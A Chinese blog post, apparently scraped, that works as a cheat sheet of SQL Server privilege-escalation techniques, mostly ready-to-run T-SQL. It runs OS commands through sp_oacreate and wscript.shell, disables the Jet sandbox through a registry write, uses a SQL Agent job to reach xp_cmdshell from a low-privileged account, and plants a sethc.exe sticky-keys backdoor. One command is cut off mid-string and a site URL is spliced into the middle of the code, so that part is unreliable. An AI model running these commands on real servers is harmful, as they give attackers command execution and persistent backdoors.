SQL Server从0到1——提权

xp_cmdshell提权

xp_cmdshell在前面写webshell已经讲解过了,在这里不在重复

sp_oacreate提权

启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

 

沙盒提权

1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启

执行命令:
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\i

 

public

USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

xp_regwrite

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

相关推荐

  1. SQLserver

    2024-01-09 06:52:04       17 阅读
  2. 数据库服务器

    2024-01-09 06:52:04       6 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-01-09 06:52:04       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-09 06:52:04       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-09 06:52:04       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-09 06:52:04       18 阅读

热门阅读

  1. Android-设计模式

    2024-01-09 06:52:04       29 阅读
  2. Spring Boot日志配置

    2024-01-09 06:52:04       35 阅读
  3. 【Spring Boot 3】【数据源】自定义JDBC多数据源

    2024-01-09 06:52:04       43 阅读
  4. 计算机视觉(CV)技术挑战。

    2024-01-09 06:52:04       31 阅读
  5. Spring boot 中配置文件使用

    2024-01-09 06:52:04       36 阅读
  6. python知识图谱-py2neo实现neo4j的dao类

    2024-01-09 06:52:04       34 阅读